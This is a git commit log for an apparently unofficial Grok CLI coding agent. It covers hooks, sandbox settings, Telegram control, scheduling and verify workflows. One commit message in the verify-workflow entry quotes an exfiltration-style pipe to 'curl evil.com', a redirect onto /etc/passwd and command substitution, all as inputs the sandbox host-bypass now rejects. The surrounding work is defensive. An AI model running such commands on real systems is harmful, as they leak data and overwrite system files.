100 Commits
Author SHA1 Message Date
Ismail Pelaseyed 3a3eeee27f bump version (#249) 2026-04-05 21:54:58 +02:00
Ismail Pelaseyed 4bad5f271e feat: add programmable hooks system with 17 lifecycle events (#248)
* feat: add programmable hooks system with 17 lifecycle events

Hooks execute shell commands at key agent lifecycle events, letting
teams enforce policies, run linters, or log activity. Configuration
lives in ~/.grok/user-settings.json (global) or .grok/settings.json
(project) under a "hooks" key following Claude Code's proven schema.

Supported events: PreToolUse, PostToolUse, PostToolUseFailure,
UserPromptSubmit, SessionStart, SessionEnd, Stop, StopFailure,
SubagentStart, SubagentStop, TaskCreated, TaskCompleted, PreCompact,
PostCompact, Notification, InstructionsLoaded, CwdChanged.

Closes #247

* fix: matcher logic inverted when matchValue is absent

When an event has no match value (e.g. Stop, Notification), a hook
with a specific matcher string like "bash" would incorrectly fire.
Return false instead of true so matcher-specific hooks only fire
when the event actually provides a value to match against.

* fix: run PreToolUse hooks before background commands

Background commands (background: true) bypassed all hook logic
entirely. Move the PreToolUse check before the background early
return so policy hooks can block dangerous background commands.

* fix: restrict hooks to user-level settings only (security)

Project-level .grok/settings.json is repo-committed, so a malicious
repository could execute arbitrary unsandboxed commands on a
developer's machine via hook definitions. Hooks now load exclusively
from ~/.grok/user-settings.json. Removed hooks from ProjectSettings
interface and updated README accordingly.

* fix: return fresh empty result instead of shared mutable singleton

EMPTY_RESULT was a single shared object with mutable arrays returned
by reference. Replace with an emptyResult() factory function that
returns a new object each time to prevent cross-caller corruption.
2026-04-05 21:53:17 +02:00
Ismail Pelaseyed cc5accedaa fix: show human-readable error messages for API failures instead of returning to home
Detect auth errors and show the API key modal, humanize raw SDK errors
(e.g. "AI_APICallError: Bad Request") into actionable messages, and
prevent session sync from wiping messages when a turn errors out.
2026-04-05 20:20:21 +02:00
Ismail Pelaseyed 2b7a0396bc feat: auto-open generated images and videos in OS viewer (#244)
* feat: add inline image and video rendering in terminal UI

Use sharp to render images as half-block character grids directly
in the terminal when media tool results are displayed, with ffmpeg
fallback for video thumbnail extraction.

* feat: auto-open generated media in OS viewer instead of inline rendering

Replace pixelated half-block terminal image rendering with native OS
viewer (`open` on macOS, `xdg-open` on Linux). Generated images and
videos now open automatically in full quality. Remove sharp dependency
and inline rendering utilities.

* bump version

* fix: use execFile instead of exec to prevent shell injection

* fix: remove auto-open from MediaToolResultView, keep only in MediaAutoOpenView
2026-04-05 13:19:59 +02:00
Ismail Pelaseyed a9a78a3a5b fix: resolve tmp_dir unbound variable error in install script (#242) (#243)
* fix: resolve tmp_dir unbound variable error in install script (#242)

Expand $tmp_dir at trap-definition time so the EXIT trap does not
reference a local variable after the function returns under set -u.

* bump version
2026-04-03 12:07:32 +02:00
Ismail Pelaseyed fa204fe98f update readme 2026-04-03 10:37:07 +02:00
Ismail Pelaseyed 5dd250fa65 minor tweaks to builds 2026-04-03 10:15:53 +02:00
Ismail Pelaseyed 964f1e392d update macos build 2026-04-03 10:05:44 +02:00
Ismail Pelaseyed 3bd4af24fa minor tweaks to release workflow 2026-04-03 10:01:24 +02:00
Ismail Pelaseyed 3f68af6f3a feat: add binary release workflow, install script, and self-management CLI commands (#241) 2026-04-03 09:56:34 +02:00
Ismail Pelaseyed 19150aeb01 feat: update verify command (#240)
* Update CHANGELOG.md

* fix veriy pipeline

* bump version
2026-04-03 07:39:34 +02:00
Ismail Pelaseyed 79ebd68039 Fix formatting in README.md
Removed extra asterisks from 'grok-code-fast-1' in the README.
2026-04-02 16:39:44 +02:00
Ismail Pelaseyed 955d9973db feat: add @-mention file autocomplete (#236)
* feat: add @-mention file autocomplete

Let prompts attach files directly from the composer with inline suggestions while injecting file context for the agent.

* bump version

* minor pr fixes
2026-04-01 20:26:49 +02:00
Ismail Pelaseyed 93e6b4aa0b chore: remove tracked telegram pair code from repo (#234)
* chore: remove tracked telegram pair code from repo

Credential file was accidentally committed. Untrack it to keep
secrets out of version control.

* bump version
2026-04-01 14:49:23 +02:00
Ismail Pelaseyed 0553f76082 feat: switch computer sub-agent to agent-desktop (#233)
* feat: switch computer sub-agent to agent-desktop

* fix: improve computer ref click errors

* fix: restrict agent-desktop environment
2026-04-01 12:23:49 +02:00
Ismail Pelaseyed 19154d22c6 feat: add verify workflow with sandboxed testing and browser smoke checks (#228)
* feat: add verify workflow

* fix: host-side browser smoke tests, skill inheritance, and screenshot paths

* Update CHANGELOG.md

* fix: remove duplicated content in agent-browser SKILL.md

* fix: restrict host bypass to safe compound commands only

Validate every segment of a compound command before routing to host.
Only agent-browser, mkdir, sleep, echo, and true are allowed.
Commands like `git push && agent-browser close` now stay sandboxed.

* fix: remove lint/typecheck duplication across build and test commands

* feat: add granular progress output for headless verify mode

Show step-by-step progress during verify: recipe detection, checkpoint
prep, and sandbox execution. Tool calls now show useful context like
bash command snippets and sub-agent descriptions instead of bare names.

* fix: unify headless verify output style and remove redundant prelude

Use ▸ consistently for all progress/tool lines. Skip the generic
Processing/Session prelude when verify already shows its own progress.

* feat: record browser smoke tests as video during verify

Use agent-browser record start/stop to capture a .webm video of the
entire smoke test flow alongside screenshots. Both artifacts land in
.grok/verify-artifacts/ and are reported in the Evidence section.

* feat: show verify progress in interactive TUI mode

Display step-by-step status messages during recipe detection and
checkpoint preparation so the user sees what is happening before
the verify sub-agent starts running.

* fix: capitalize Verify in sub-agent display name

* feat: make recipe detection a proper verify-detect sub-agent

Replace the bare generateText() call with a verify-detect sub-agent
that can read files and inspect the codebase before producing a recipe.
The verify flow now runs two visible sub-agents: detect then execute.

* fix: remove manual status messages, let sub-agents show their own activity

* feat: make /verify work like /review with visible sub-agent activity

Replace the silent out-of-band detection with a single prompt that
drives both verify-detect and verify sub-agents from inside the
normal conversation loop. Both sub-agents now stream their activity
visibly in the TUI and headless output.

* refactor: make /verify identical to /review - a static prompt constant

Replace buildVerifyPrompt() with a VERIFY_PROMPT constant. Remove
runVerify() callback entirely. Both /verify and --verify now just
call processMessage(VERIFY_PROMPT), exactly like /review does with
REVIEW_PROMPT.

* fix: strengthen VERIFY_PROMPT with explicit sandbox/browser/relay instructions

* fix: install node/npm alongside bun in sandbox bootstrap

Next.js and other Node tools call npm internally (e.g. npm config get
registry). Bun-based projects now bootstrap both Bun and Node/npm.

* refactor: remove hardcoded bootstrap/shellInit, let detect agent decide

Remove all ecosystem-specific bootstrap functions (getNodeBootstrapCommands,
getPythonBootstrapCommands, etc). Static fallback recipes now have empty
bootstrap/shellInit arrays. The detect sub-agent is responsible for
specifying what runtimes and tools need to be installed in the sandbox.
The detect prompt now explicitly explains the sandbox is a fresh Debian
VM and gives examples of what bootstrapCommands should contain.

* docs: slim down verify README section to end-user essentials

* fix: reject pipes, redirects, and command substitution in host bypass

Block agent-browser screenshot | curl evil.com, redirects like > /etc/passwd,
and $(...) / backtick command substitution from bypassing the sandbox.

* fix: remove dead prepareVerifyRuntimeConfig function

* fix: remove dead verifyRecipeContext variable
2026-03-29 19:53:14 +02:00
Ismail Pelaseyed 9dab5b9ba3 fix issue with schedule modal (#226) 2026-03-26 17:54:34 +01:00
Ismail Pelaseyed f49875a8e0 bump package.json to next version (#225) 2026-03-26 17:09:40 +01:00
Ismail Pelaseyed 446f60c887 ci: replace commit scan with PR security scan (#224) 2026-03-26 16:06:23 +01:00
Ismail Pelaseyed 30c516de15 feat: add CLI update checker (#223)
* feat: add CLI update checker

Check for newer grok-dev releases when the interactive CLI starts and surface them through a startup modal, home banner, and update commands.

* ci: increase PR commit scan curl timeout to 300s
2026-03-26 14:59:06 +01:00
Ismail Pelaseyed 2533f65d57 ci: add PR commit security scan (#220) 2026-03-26 08:27:58 +01:00
Ismail Pelaseyed f892d2b388 bump version 2026-03-25 19:46:40 +01:00
Ismail Pelaseyed 79c73be41e feat: add configurable sandbox settings (network, resources, ports, secrets) (#217)
Expose Shuru sandbox configuration beyond the simple on/off toggle.
Settings (allowNet, allowedHosts, ports, cpus, memory, diskSize, secrets,
checkpoint) flow from CLI flags / saved settings through Agent, sub-agents,
and background delegations into wrapCommandForShuru. The TUI /sandbox panel
is replaced with a unified settings modal using arrow left/right for toggles
and inline editing for text fields. Adds --allow-net, --allow-host, and
--port CLI flags and a README section on sandbox support.
2026-03-25 19:26:17 +01:00
Ismail Pelaseyed 2058cdfd09 feat: add Shuru sandbox mode for agent shell execution (#215)
* feat: add Shuru sandbox mode for agent shell execution

Adds a user-selectable sandbox mode that runs all agent-driven bash
commands inside a Shuru microVM. Includes persistent user/project
settings, CLI flags (--sandbox / --no-sandbox), a TUI picker via
/sandbox, runtime toggling for live agents, delegation propagation,
model prompt updates, and Phase 1 guardrails that block shell commands
which would silently lose workspace mutations inside the guest overlay.

* fix: use word boundary in git guardrail to catch compound commands

The git mutation guard used ^ (start-of-string anchor), so compound
expressions like `echo foo && git commit` bypassed it. Switch to \b
to match the pattern used by the other guardrails.

* fix: remove branch from git allowlist and stabilize bash tests

- Remove `branch` from the read-only git allowlist since git branch
  can create/delete/rename branches, which are mutating operations.
- Export wrapCommandForShuru and getSandboxMutationBlockReason for
  direct unit testing without child_process mocking.
- Rewrite bash.test.ts to test pure functions directly, eliminating
  flaky vi.doMock/resetModules ESM interactions.
2026-03-25 14:02:53 +01:00
Ismail Pelaseyed 76498778d5 feat: add scheduled headless runs with daemon and agent tools (#214)
* feat: add scheduled headless runs with daemon and agent tools

Add schedule_create, schedule_list, schedule_remove, schedule_read_log,
schedule_daemon_status, schedule_daemon_start, and schedule_daemon_stop
agent tools. Schedules are persisted under ~/.grok/schedules/ and fired
by a lightweight `grok daemon` background process. Includes /schedule
TUI slash command, browser modal, README section, and tests.

* fix: resolve pre-existing test failures across the suite

Add vitest.config.ts to exclude dist/ from test runs. Fix whisper-cpp
and instructions tests to isolate from local filesystem state by setting
process.env.HOME to a temp dir. Fix bridge test lint errors by replacing
`any` with proper types.

* fix: address code review findings in schedule system

- Prevent path traversal in schedule IDs by stripping dots from allowed
  chars and adding assertInsideSchedulesDir guard
- Fix day-of-week cron ranges including 7 (e.g. 5-7) by validating raw
  values before normalization and handling wrap-around in matching
- Pass log file descriptor directly to child stdio instead of piping
  through the parent process
- Isolate per-schedule errors in daemon tick so one broken schedule
  does not block the rest
2026-03-25 12:53:30 +01:00
Ismail Pelaseyed 7aa486ed0f docs: update changelog with 1.0.0-rc6 release (#213) 2026-03-25 09:07:30 +01:00
Ismail Pelaseyed 7d9e82551f feat: send attachments to telegram (#212)
* feat: add telegram_send_file tool for Telegram media attachments

Give the agent a real tool to upload files to Telegram chats so it can
confirm delivery before writing its final reply, instead of guessing
whether attachments are supported.

* feat: add Telegram voice/audio transcription via whisper.cpp

Local speech-to-text for Telegram voice notes and audio attachments
using whisper.cpp, with auto model download and ffmpeg conversion.
2026-03-24 20:50:51 +01:00
Ismail Pelaseyed 730a1adf93 feat: add Telegram voice/audio transcription via whisper.cpp (#210)
* feat: add Telegram voice/audio transcription via whisper.cpp

Telegram voice notes and audio attachments are now transcribed locally
using whisper.cpp before being sent to the agent. Includes auto-download
of Whisper models, ffmpeg fallback for non-WAV formats, configurable
settings under telegram.audioInput, and unit tests for the new STT layer.

* fix: harden whisper audio setup

Avoid Linux model download failures, remove unused STT dependencies, and keep local Cursor state changes isolated to the intended files.

* refactor: share Telegram audio handler

Reduce duplicate Telegram voice and audio handling so transcription flow changes stay in sync.
2026-03-24 14:18:27 +01:00
Ismail Pelaseyed 5a065d4826 feat: add built-in Vision sub-agent (#209)
Add a default Vision sub-agent and wire its image-validation requests through the xAI Responses runtime using the fast reasoning model.
2026-03-24 09:23:33 +01:00
Ismail Pelaseyed 7f1042dbe0 feat: add Grok media tools (#207) 2026-03-23 22:49:12 +01:00
Ismail Pelaseyed ed075bf1e8 feat: update app UI and add changelog (#206) 2026-03-23 22:12:01 +01:00
Ismail Pelaseyed b607b39149 docs: clarify terminal support and unofficial status (#204)
Document the recommended terminals for the OpenTUI experience and make it explicit that this project is a community-built, unofficial Grok CLI.
2026-03-23 20:02:39 +01:00
Ismail Pelaseyed 5c5c2b3c54 fix: mirror Telegram tool activity in TUI (#202)
Unify Telegram turn handling with the interactive TUI so remote messages show live tool calls, tool results, and subagent activity instead of only final responses.
2026-03-23 19:39:37 +01:00
Ismail Pelaseyed 1fe9cb6dbe bump version 2026-03-23 14:03:24 +01:00
75efd707f7 fix: only send reasoningEffort for grok-3-mini (#200)
* fix: only send reasoningEffort for grok-3-mini

According to xAI documentation, only grok-3-mini supports the
reasoning_effort parameter. Other models (grok-3, grok-4, grok-4-fast-reasoning)
do not support this parameter and return a 'Bad request' error when it is sent.

Changes:
- Added supportsReasoningEffort field to ModelInfo interface
- Marked only grok-3-mini with supportsReasoningEffort: true
- Updated getSupportedReasoningEfforts() to check supportsReasoningEffort
  instead of the generic reasoning flag
- This prevents sending reasoningEffort to unsupported models

Fixes the 410 error when using models like grok-code-fast-1 with
reasoning effort configured.

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* test: update tests to reflect grok-3-mini-only reasoning effort support

Updated model tests to verify that only grok-3-mini supports
reasoningEffort parameter, and all other models (including reasoning
models like grok-4-0709, grok-code-fast-1) correctly return empty
supported efforts arrays.

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* test: add integration tests for resolveModelRuntime

Verify that providerOptions.xai.reasoningEffort is only included
for models that support it (currently only grok-3-mini), and is
correctly omitted for all other models regardless of their
reasoning flag.

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* fix: organize imports in client.test.ts for Biome linter

Biome requires imports to be sorted alphabetically. Moved @ai-sdk/xai
import before vitest import to satisfy the linter.

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* fix: add comprehensive tests for reasoningEffort with grok-3-mini

- Fixed misleading test name that said 'includes' but asserted undefined
- Added new test suite 'with configured reasoning effort' that mocks
  getReasoningEffortForModel to verify positive cases
- Tests now verify that grok-3-mini DOES receive providerOptions when
  reasoning effort is configured (high or low)
- Tests verify that other models (grok-4-0709, grok-code-fast-1, etc.)
  do NOT receive providerOptions even when effort is configured
- Increased test coverage from 90 to 100 tests

Addresses review feedback about missing positive test case.

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* refactor: remove dead code branches in getSupportedReasoningEfforts

Removed unreachable multiAgent and responsesOnly branches since only
grok-3-mini currently has supportsReasoningEffort: true, and it has
neither of those flags.

Added comment explaining that only grok-3-mini supports reasoning_effort
per xAI documentation, and it supports 'low' and 'high' efforts.

If xAI adds reasoning_effort support to other models in the future,
the logic can be expanded as needed.

Addresses review feedback about dead code.

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
2026-03-23 14:00:49 +01:00
Ismail Pelaseyed 994a307324 add support for multi-agent Grok models (#197) 2026-03-23 09:57:07 +01:00
Ismail Pelaseyed fc37434a2a feat: add custom sub-agents with /agents TUI and reliable interrupt (#192)
* feat: add custom sub-agents with /agents TUI and reliable interrupt

- Custom sub-agents stored in ~/.grok/user-settings.json (name, model, instruction)
- Validation against known model IDs, reserved name protection
- Injected into system prompt and available via task tool in all modes
- /agents TUI modal for browsing, adding, editing, and removing sub-agents
- Custom agent name shown in task UI instead of generic "Sub-agent"
- Foreground bash/search tools now accept abort signals for real cancellation
- Esc interrupt aligned with queue-force path for consistent cancel behavior

* fix issues found in code review
2026-03-23 08:50:35 +01:00
Ismail Pelaseyed e98e36ddc6 add loading animation on streaming (#190) 2026-03-22 22:25:29 +01:00
Ismail Pelaseyed 5245dcef1a docs: clarify headless json output format
Explain that `--format json` now emits semantic JSON events so the README matches the current headless behavior.
2026-03-22 20:18:29 +01:00
Ismail Pelaseyed 58cbc9c129 bump version 2026-03-22 20:06:14 +01:00
Ismail Pelaseyed c722104d6f add compaction (#183) 2026-03-21 00:03:49 +01:00
Ismail Pelaseyed 7fc229e457 add support for review command (#182) 2026-03-20 21:58:23 +01:00
Ismail Pelaseyed 053cecb5a2 remove grok.md support (#181) 2026-03-20 21:46:39 +01:00
Ismail Pelaseyed bdeccafada fix lint issues (#180) 2026-03-20 21:26:22 +01:00
Ismail Pelaseyed 9d93ea4f87 Change asset link in README.md
Updated the asset link in the README file.
2026-03-20 12:30:04 +01:00
Ismail Pelaseyed f0883e1116 Change image source link in README.md (#179)
Updated the image source link in the README.
2026-03-20 12:20:41 +01:00
Ismail Pelaseyed b53967cd35 update readme and version (#178) 2026-03-20 12:19:28 +01:00
Ismail Pelaseyed 1175c39022 feat: add telegram remote control (#175)
* add support for remote controlling via telegram

* fix issues with grok search
2026-03-20 11:57:56 +01:00
Ismail Pelaseyed a20da21e85 add support for agents.md (#173) 2026-03-20 00:27:24 +01:00
Ismail Pelaseyed 8fa799727b add support for copy to clipboard (#172) 2026-03-20 00:18:59 +01:00
Ismail Pelaseyed 39e206ca86 feat: add agent skills (#169)
* feat: Agent Skills discovery and prompt catalog

- Discover skills in ~/.agents/skills and project .agents/skills (project wins on name)
- Inject OpenCode-style <available_skills> XML + read_file instructions in system prompt
- /skills slash command lists installed skills in the TUI
- Document layout and usage in README; gitignore .agents for local skill installs

* chore: ignore skills-lock.json
2026-03-19 23:18:22 +01:00
Ismail Pelaseyed d8a82c31e2 feat: add startup API key modal (#168)
* feat: add startup API key modal

Allow the interactive app to boot without a preconfigured API key and guide users into adding one in-app instead of exiting early. Persist explicit auth and model preferences so first-run setup and subsequent launches feel consistent.

* bump version

* format

* fix lint issues
2026-03-19 22:59:50 +01:00
Ismail Pelaseyed b64887d2f5 fix: resolve all Biome lint errors and warnings (#166)
Address 37 lint issues across 4 files: add parseInt radix, remove
unused imports/variables, replace string concat with template literals,
fix React hook dependency arrays, use stable keys instead of array
indices, and suppress unavoidable OpenTUI type mismatches.
2026-03-19 19:38:07 +01:00
Ismail Pelaseyed 15cb4468eb feat: add SQLite-backed session persistence (#165)
* feat: add SQLite-backed session persistence

* fix: restore prompt footer layout

* fix: propagate abort into sub-agents and fix queue force-send ownership

* chore: regenerate bun.lock to match package.json

* chore: restore package.json from main and apply biome formatting
2026-03-19 18:59:23 +01:00
Ismail Pelaseyed 92505acc66 fix: restore lost delegation code, switch CI to Bun, and clean up unused files (#163)
* feat: add background agents and background bash processes (#161)

Add async background delegation system (delegate, delegation_read,
delegation_list) for read-only research that persists to disk and
notifies the session on completion. Extend bash tool with background
mode for long-running processes (dev servers, watchers) with companion
process_logs, process_stop, and process_list tools.

Cherry-picked from a10a337 — lost during merge of cursor/agent-new-architecture-b3d5.

* feat: add prompt queuing with follow-ups UI

Allow users to submit messages while the agent is processing. Queued
messages display in a follow-ups panel above the prompt and are
processed sequentially after the current response completes.

Cherry-picked from 299023b — lost during merge of cursor/agent-new-architecture-b3d5.

* chore: switch CI to Bun, remove unused files and dead code

- Update security workflow to use Bun instead of npm (fixes ERESOLVE peer dependency conflict)
- Delete unused files: hello.py, package-lock.json, .eslintrc.js
- Remove broken ESLint config and devDependencies (lint was non-functional)
- Remove unused exports: MODEL_GROUPS, Skill interface, formatDuration

* chore: update lockfile after removing ESLint dependencies

* fix: use ref for mode color to prevent stale closure in message borders

* feat: add Biome for linting and formatting, update CI workflow

- Add Biome as linter and formatter with project-appropriate config
- Add lint, format, format:fix, and lint:fix scripts to package.json
- Rename typecheck workflow to CI, switch from npm to Bun, add format
  and lint steps alongside typecheck
- Auto-fix formatting and import ordering across all source files

* fix: improve cancellation flow and queued message editing

* fix: improve cancellation flow and prompt footer context display

* chore: update Bun version and refresh lockfile
2026-03-19 15:22:43 +01:00
85c2b7caf4 feat: complete architecture rewrite — Bun, OpenTUI, OpenCode-style UI, X Search API (#145)
* feat: complete architecture rewrite with Bun, OpenTUI, bash-only tools, and X Search API

Major rewrite of the Grok CLI agent:

- Runtime: Bun-first (removed Node.js/tsx fallbacks)
- UI: Replaced Ink with OpenTUI (@opentui/react) terminal framework
- Tools: Simplified to bash-only (removed text-editor, search, morph, todo, confirmation tools)
- Search: Integrated X Search API and Web Search via xAI Responses API
- Models: Updated to all latest Grok models (grok-4, grok-4.20-beta, grok-4-1-fast, grok-4-fast, grok-3-mini)
- Agent: Streamlined agent loop with async generator streaming
- Client: Dual API support (Chat Completions for tool calling, Responses API for search)
- Removed MCP integration, confirmation service, token counter, Morph editor
- Updated tsconfig for OpenTUI React JSX
- Clean 10-file architecture in src/

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* Fix HelpPanel rendering bug: replace <br/> with Text component

- Replaced <br/> tag with <text>{" "}</text> in HelpPanel component
- Ink requires all HTML-like elements to be wrapped in Text components
- Fixes React reconciler error: 'Component of type br must be created inside of a Text node'

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* fix: use ref for reliable streaming content accumulation in UI

- Replace fragile setState callback with contentAccRef for tracking streamed content
- Save intermediate assistant content when tool calls arrive
- Remove unused useTerminalDimensions import
- Fix HelpPanel <br/> tag (must be inside text node in OpenTUI)

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* fix: improve UI visibility with dark theme and text wrapping

- Add dark background (#0f172a) to main app, model picker, input
- Set explicit text/background colors on input for visibility
- Use wrapMode='word' on all text content for proper wrapping
- Use children instead of content prop for user messages
- Add Grok label to streaming content display

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* fix: remove wrapMode that caused garbled text rendering

wrapMode='word' was corrupting character display in OpenTUI text components.
Removed it from all message views and streaming display.

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* feat: rewrite UI to match OpenCode's design language

- Use OpenCode's exact dark theme tokens (#0a0a0a bg, #141414 panel, #eeeeee text, #fab283 primary)
- Left-border accent (┃) on user messages with primary color, matching OpenCode's SplitBorder
- Panel backgrounds for user messages and tool blocks (backgroundPanel)
- Home screen with centered logo + prompt (like OpenCode's home.tsx)
- Session view with header, scrollable messages, prompt, footer
- Inline tool results (icon + label) for simple tools
- Block tool results (panel with output) for bash with >3 lines
- Footer with cwd on left, model on right (matching OpenCode's footer.tsx)
- Separate theme.ts with typed dark theme object
- Reasoning shown in subtle left-bordered panel (like OpenCode's ReasoningPart)

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* feat: add Agent/Plan/Ask mode system with tab cycling and OpenCode home screen

- Add AgentMode type (agent/plan/ask) with per-mode system prompts
- Agent mode: full tool access, executes changes directly
- Plan mode: read-only tools, creates implementation plans without modifying files
- Ask mode: read-only tools, answers questions with context
- Tab key cycles between modes (visible in prompt box)
- OpenCode-style block-letter GROK logo on home screen (left=muted, right=bold)
- Prompt box shows mode label + model name + provider (like OpenCode's prompt)
- Shadow/bottom-edge effect below prompt (╹ + ▀ pattern from OpenCode)
- Keyboard hints bar: 'tab modes · ctrl+p commands' (matches OpenCode layout)
- Mode color changes left-border accent on prompt and user messages
- Refactored into HomeView and SessionView components

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* feat: black and white theme, Grok brand logo, modal model picker

- Theme: pure black (#000000) and white (#ffffff) only, no color accents
- Logo: Grok brand symbol (stylized compass/G) next to bold 'Grok' text
- Model picker: floating modal dialog overlaying the app (like OpenCode's DialogSelect)
  - Centered panel with dark background
  - Title 'Select model' + esc hint
  - Search placeholder
  - Models grouped by category (Grok 4, Grok Code, Grok 3)
  - Current model marked with ●
  - Selected item highlighted with selectedBg
  - Pricing shown for budget models
- Mode colors changed to white/gray (monochrome)
- Models grouped via MODEL_GROUPS in models.ts
- Added selectedBg and selected tokens to theme

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* feat: differentiated UI, colored modes, clean logo, remove xAI labels

- Remove all 'xAI' labels from model picker and prompt box
- Mode colors: blue (#5c9cf5) for Agent, yellow (#e5c07b) for Plan, orange (#f5a742) for Ask
- Logo: clean '✦ G R O K' text with tagline (no broken Unicode art)
- Differentiated UI from OpenCode:
  - Home: centered logo + tagline, input with thin single-line border colored by mode,
    mode selector row showing all three modes with dots, model name on right
  - Session: top bar with model + mode instead of bordered header panel,
    thin separator line, user messages with colored ▸ prefix instead of left-border panels,
    input with colored single-line border instead of thick ┃ accent
  - Tool output in subtle background panels
  - Model picker: bordered modal instead of borderless floating panel,
    category headers in muted text, no 'xAI' provider label
- Simplified theme: removed unused color tokens, added textDim for ultra-subtle text

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* revert: restore ┃ left-border prompt box with mode/model line and shadow edge

Bring back the previous input style that was preferred:
- ┃ left-border accent colored by mode (blue/yellow/orange)
- Mode label + model name inside the prompt box below input
- ╹/▀ shadow edge below the prompt
- Hints row (tab modes · ctrl+p commands) right-aligned under prompt
- Used in both home screen and session view
- Keep everything else from current version (differentiated session layout,
  ▸ prefix messages, top bar, clean model picker, logo, mode colors)

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* feat: replicate OpenCode conversation layout

Session view now matches OpenCode's session/index.tsx patterns:
- Session header: # Model Name in ┃ left-border panel with backgroundPanel
- User messages: ┃ left-border colored by mode, backgroundPanel fill, text inside
- Tool results (inline): paddingLeft=3, icon + muted text ($ cmd, ◈ Search)
- Tool results (block): ┃ left-border panel for bash output >3 lines, search results
- Assistant text: paddingLeft=3, marginTop=1, plain text
- Metadata line: ▣ Mode · model · duration after each assistant turn (like OpenCode's
  AssistantMessage final block with ▣ icon)
- Reasoning: ┃ left-border panel with backgroundElement border, italic dim text
- Pending tools: ~ prefix with text color
- Track tool call count and elapsed time for metadata line
- InlineTool component for consistent tool result formatting

Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>

* feat: redesign model picker and slash menu modals

- Remove borders, add search filtering with keyboard input
- Flat model list without category sections
- Blue accent color for current model highlight
- Fit-to-content modals with max height cap and scroll
- scrollChildIntoView for arrow key navigation
- Trim logo height by removing decorative lines
- Add accent color to theme

Made-with: Cursor

* feat: migrate to Vercel AI SDK with xAI provider

- Replace custom OpenAI client with AI SDK streamText + @ai-sdk/xai
- Add standalone search_web and search_x tools via chat completions
- Fix follow-up messages by using isProcessingRef to avoid stale closures
- Fallback message history when result.response fails after stream errors
- Remove post-response status line, adjust input padding

Made-with: Cursor

* feat: add file tools, diff view, and markdown rendering

- Add read_file, write_file, edit_file tools with diff generation
- Inline diff viewer with line numbers, colored add/remove, and
  unmodified-lines separators (OpenCode-style)
- Lightweight markdown renderer for assistant messages: headings,
  bold, italic, inline code, code blocks, lists, blockquotes, links
- Update agent system prompts with terminal environment guidance
- Install diff package for unified diff computation

Made-with: Cursor

* feat: add plan mode (#156)

* feat: add plan mode with interactive questions UI

Add generate_plan tool, structured plan types, and an OpenCode-style
inline questions panel with tabbed navigation, number-key shortcuts,
custom text answers, and a review/confirm tab.

* fix: plan-to-agent handover, mode-scoped tools, and UI polish

- Carry plan context forward when switching plan→agent mode
- Restrict generate_plan tool to plan mode only
- Stamp modeColor on all message types for correct per-message colors
- Sanitize model-echoed role labels and raw JSON from content
- Truncate tool result labels to single lines
- Single-word tab labels for plan questions
- Always show edit/write file results with diff
- Clear agent history on mode switch

* feat: add Brin contributor trust check workflow and use OpenTUI native markdown (#157)

* feat: add sub-agent task delegation and UI (#159)

* feat: add background agents and background bash processes (#161)

Add async background delegation system (delegate, delegation_read,
delegation_list) for read-only research that persists to disk and
notifies the session on completion. Extend bash tool with background
mode for long-running processes (dev servers, watchers) with companion
process_logs, process_stop, and process_list tools.

Closes #146

* feat: add prompt queuing with follow-ups UI (#162)

Allow users to submit messages while the agent is processing. Queued
messages display in a follow-ups panel above the prompt and are
processed sequentially after the current response completes.

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
2026-03-19 12:55:55 +01:00
Ismail Pelaseyed 17224a87bb Merge branch 'cursor/agent-new-architecture-b3d5'
# Conflicts:
#	bun.lock
2026-03-19 12:52:43 +01:00
Ismail Pelaseyed 28b4f87980 feat: add sub-agent task delegation and UI (#159) 2026-03-19 11:16:32 +01:00
Ismail Pelaseyed 8f8641cfcb feat: add Brin contributor trust check workflow and use OpenTUI native markdown (#157) 2026-03-19 10:24:25 +01:00
Ismail Pelaseyed ee1ef73e93 feat: add plan mode (#156)
* feat: add plan mode with interactive questions UI

Add generate_plan tool, structured plan types, and an OpenCode-style
inline questions panel with tabbed navigation, number-key shortcuts,
custom text answers, and a review/confirm tab.

* fix: plan-to-agent handover, mode-scoped tools, and UI polish

- Carry plan context forward when switching plan→agent mode
- Restrict generate_plan tool to plan mode only
- Stamp modeColor on all message types for correct per-message colors
- Sanitize model-echoed role labels and raw JSON from content
- Truncate tool result labels to single lines
- Single-word tab labels for plan questions
- Always show edit/write file results with diff
- Clear agent history on mode switch
2026-03-19 10:20:50 +01:00
Ismail Pelaseyed a07224a7f0 feat: add file tools, diff view, and markdown rendering
- Add read_file, write_file, edit_file tools with diff generation
- Inline diff viewer with line numbers, colored add/remove, and
  unmodified-lines separators (OpenCode-style)
- Lightweight markdown renderer for assistant messages: headings,
  bold, italic, inline code, code blocks, lists, blockquotes, links
- Update agent system prompts with terminal environment guidance
- Install diff package for unified diff computation

Made-with: Cursor
2026-03-18 21:23:24 +01:00
Ismail Pelaseyed 87bddb4cb3 feat: migrate to Vercel AI SDK with xAI provider
- Replace custom OpenAI client with AI SDK streamText + @ai-sdk/xai
- Add standalone search_web and search_x tools via chat completions
- Fix follow-up messages by using isProcessingRef to avoid stale closures
- Fallback message history when result.response fails after stream errors
- Remove post-response status line, adjust input padding

Made-with: Cursor
2026-03-18 19:58:09 +01:00
Ismail Pelaseyed 60035f2240 feat: redesign model picker and slash menu modals
- Remove borders, add search filtering with keyboard input
